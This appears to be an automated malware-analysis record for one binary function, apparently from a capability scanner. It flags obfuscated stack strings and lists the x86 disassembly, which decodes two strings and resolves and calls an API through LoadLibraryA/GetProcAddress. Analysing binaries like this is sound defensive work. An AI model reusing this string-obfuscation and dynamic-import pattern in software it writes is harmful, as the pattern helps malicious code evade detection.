Function at 0x101164a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x3c
push ebx
mov byte [esp + 0xb], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov al, byte [0x101950e8]
push ebp
mov cl, 0x9a
push esi
push edi
test al, 1
mov byte [esp + 0x14], 0xb9
mov byte [esp + 0x15], 0x8e
mov byte [esp + 0x16], 0x9f
mov byte [esp + 0x18], 0xa7
mov byte [esp + 0x19], 0x9c
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1c], 0x5a
mov byte [esp + 0x1d], 0x58
mov byte [esp + 0x1e], 0x50
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], 0xd2
mov byte [esp + 0x21], 0xeb
mov byte [esp + 0x22], 0xed
mov byte [esp + 0x23], 0x52
mov byte [esp + 0x24], 0xc2
mov byte [esp + 0x25], 0xf0
mov byte [esp + 0x26], 0xa9
mov byte [esp + 0x27], 0x7c
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2b], 0xf6
jne 0x101165b4
mov bl, al
push 0xd
or bl, 1
mov byte [0x101950e8], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101950ec], eax
xor edi, edi
mov bl, byte [esp + edi + 0x20]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x1011655c
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10116587
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x1011657c
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x1011657c
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x101950ec]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x10116547
mov ecx, dword [0x101950ec]
push 0x10116700
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [0x101950ec]
mov al, 0x1a
mov byte [esp + 0x14], al
mov byte [esp + 0x27], al
mov al, byte [0x101950f0]
mov dword [esp + 0x10], edx
test al, 1
mov byte [esp + 0x15], 0x5b
mov byte [esp + 0x16], 0x30
mov byte [esp + 0x17], 0xc3
mov byte [esp + 0x18], 3
mov byte [esp + 0x19], 0xc2
mov byte [esp + 0x1a], 0xab
mov byte [esp + 0x1b], 0x5f
mov byte [esp + 0x1c], 0xb2
mov byte [esp + 0x1d], 0x20
mov byte [esp + 0x1e], 0x87
mov byte [esp + 0x1f], 0xcc
mov byte [esp + 0x20], 0x49
mov byte [esp + 0x21], 0x3e
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x8f
mov byte [esp + 0x24], 0x62
mov byte [esp + 0x25], 0xb1
mov byte [esp + 0x26], 0xdf
mov byte [esp + 0x28], 0xc0
mov byte [esp + 0x29], 0x52
mov byte [esp + 0x2a], 0xe8
mov byte [esp + 0x2b], 0xbe
jne 0x101166cc
mov bl, al
push 0xd
or bl, 1
mov byte [0x101950f0], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101950f4], eax
xor edi, edi
mov bl, byte [esp + edi + 0x20]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x10116674
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x1011669f
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10116694
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10116694
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x101950f4]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x1011665f
mov ecx, dword [0x101950f4]
push 0x10116710
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [0x101950f4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x30]
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret